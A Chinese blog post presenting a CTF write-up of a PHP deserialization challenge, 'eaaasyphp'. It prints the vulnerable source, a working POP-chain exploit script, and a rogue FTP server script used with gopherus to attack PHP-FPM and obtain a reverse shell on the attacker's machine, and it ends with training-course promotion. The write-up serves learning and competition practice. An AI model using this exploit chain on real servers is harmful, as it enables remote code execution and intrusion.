网络安全大赛模拟

🍅 点击文末小卡片 ,免费获取网络安全全套资料,资料在手,涨薪更快

eaaasyphp

再也不相信easy这个单词了,这是一道看似简单的php反序列化的题目,其中暗藏杀机!

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

    法一

    有个Hint类,看样子好像是看phpinfo()的,直接看看

    网络安全大赛模拟_网络安全大赛模拟

    绕过__wake()的方法有两个,一个是把属性的值故意修改减少,或者把对象O修改为C,至于为什么这样可以去百度了解,不解释了,以前做题经常碰到。

    网络安全大赛模拟_php_02

     

    网络安全大赛模拟_网络安全大赛模拟_03

    一般我拿到phpinfo()会先看flag再看disable_functions,还有一个opne_basedir。但是都无果,这里我忽略了一个最重要的点,就是没看它的API,我们咋一看Fastcgi,这个玩意儿我前几天刚做完蓝帽的那个题目也是利用这个,不用怀疑,这个题目和那个题目的联系千丝万缕。

    网络安全大赛模拟_web安全_04

    但是我一直想找一个非预期,但是失败了,讲讲开始我的思路。 如果光是看反序列化的话,这是一个比较传统的POP链的题目,所以我们先构造链子,目的函数在file_put_contents()

    class Bypass {
    
        public function __destruct()
        {
            if (Check::$str1) {
                ($this->str4)();
            } else {
                throw new Error("Error");
            }
        }
    }

       __destruct()Hint类和Bypass类中都出现了,但是由于Hint类限制的有点多,所以我们入口选择Bypass类,Bypass需要绕过$str1=false

      class Esle {
          public function __wakeup()
          {
              Check::$str1 = true;
          }
      }

        这里我们直接在Bypass中实例化一次Esle类就可以绕过if判断,PHP反序列化不熟的可以看我以前文章,就不细分析了,看到这个把对象本身当函数调用我们知道可以触发__invoke()

        class Welcome {
            public function __invoke()
            {
                Check::$str2 = true;
                return "Welcome" . $this->username;
            }
        }

           在Welcomeinvoke()username被当作字符串输出,所以可以触发__toString()

          class Bunny {
          
              public function __toString()
              {
                  if (Check::$str2) {
                      if(!$this->data){
                          $this->data = $_REQUEST['data'];
                      }
                      file_put_contents($this->filename, $this->data);
                  } else {
                      throw new Error("Error");
                  }
              }
          }

            最后我们能到达了file_put_contents()函数。在这里我们能控制datafilename

            所以我们最后构造的链子为:

            入口 --> Bypass::__destruct() --> Welcome::__invoke() --> Bunny::__toString() --> file_put_contents()

            构造的exp如下,

            <?php
            
            
            
            class Esle {
                public function __wakeup()
                {
                    Check::$str1 = true;
                }
            }
            
            
            
            
            class Bunny {
            
                public function __toString()
                {
                    if (Check::$str2) {
                        if(!$this->data){
                            $this->data = $_REQUEST['data'];
                        }
                        file_put_contents($this->filename, $this->data);
                    } else {
                        throw new Error("Error");
                    }
                }
            }
            
            class Welcome {
                public function __invoke()
                {
                    Check::$str2 = true;
                    return "Welcome" . $this->username;
                }
            }
            
            class Bypass {
            
            	public function __construct()
            	{
            		$this->errorr0 = new Esle();
            	}
            }
            
            $a = new Bypass();
            $b =new Welcome();
            $c = new Bunny();
            $a->str4 = $b;
            $b->username = $c;
            $c->filename="/tmp/1.txt";
            $c->data="123";
            
            echo urlencode(serialize($a));

              其实这里最直观思路的就是写马了,但是不知道为什么文件写不进去网站目录,连简单的文件都写不进去,写到其它目录下又不能访问不知道写成功没。所以我们想用Fastcgi来做,用file_put_contents攻击PHP-FPM,但是我当时做蓝帽杯利用的Fastcgi是构造了恶意的动态库.so文件上传到一个路径下,但是这里如果我们无法写文件就要换一个思路走。

              看了很多师傅的wp,都是利用gopherus这个工具生成的payload利用中间人也就是我们的服务器开启一个恶意的FTP,转发恶意FTP触发指令,最后我们构造一个弹shell的指令,就可以把shell弹到我们的服务器上来了。

              首先我们在服务器上开启一个恶意的FTP服务,该代码如下,蓝帽杯写过,

              import socket
              s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              s.bind(('0.0.0.0', 9999)) #9999端口是你的服务器开的,可以任意改
              s.listen(1)
              conn, addr = s.accept()
              conn.send(b'220 welcome\n')
              #Service ready for new user.
              #Client send anonymous username
              #USER anonymous
              conn.send(b'331 Please specify the password.\n')
              #User name okay, need password.
              #Client send anonymous password.
              #PASS anonymous
              conn.send(b'230 Login successful.\n')
              #User logged in, proceed. Logged out if appropriate.
              #TYPE I
              conn.send(b'200 Switching to Binary mode.\n')
              #Size /
              conn.send(b'550 Could not get the file size.\n')
              #EPSV (1)
              conn.send(b'150 ok\n')
              #PASV
              conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
              conn.send(b'150 Permission denied.\n')
              #QUIT
              conn.send(b'221 Goodbye.\n')
              conn.close()

                再在gopherus生成payload,我们取gopher协议后面的数据流即可,这里我们用的是FTP服务器,所以用ftp协议

                网络安全大赛模拟_网络安全_05

                 最后只要开启服务器的监听和ftp,再将payload放入exp中,把生成反序列化打入题目中的code,即可反弹shell,

                网络安全大赛模拟_网络安全_06

                弹出来了,后面就简单了,直接查询flag就行了。

                法二 

                网络安全大赛模拟_网络安全大赛模拟_07

                在第一种方法拿到的结果下我查了一下/tmp目录,因为前面我尝试过写文件,在var/www/html下失败了,也尝试在/tmp目录下写了,但是由于它没有回显我不知道写没写入,现在一看1.txt写进去了,那么我们可以用蓝帽杯题的那个方法,把恶意动态库.so写一个反弹shell的文件把编译的文件内容复制写入/tmp目录再利用脚本跑出payload打入即可,这里不演示了,有兴趣可以看我写的蓝帽杯那题的解法思路[蓝帽杯 2021]One Pointer PHP_errorr0的博客

                网络安全学习路线

                对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

                同时每个成长路线对应的板块都有配套的视频提供:

                需要网络安全学习路线和视频教程的可以在评论区留言哦~

                最后
                • 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!

                给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

                黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

                结语

                网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

                特别声明:
                此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失

                评论
                添加红包

                请填写红包祝福语或标题

                红包个数最小为10个

                红包金额最低5元

                当前余额3.43前往充值 >
                需支付:10.00
                成就一亿技术人!
                领取后你会自动成为博主和红包主的粉丝 规则
                hope_wisdom
                发出的红包
                实付
                使用余额支付
                点击重新获取
                扫码支付
                钱包余额 0

                抵扣说明:

                1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                余额充值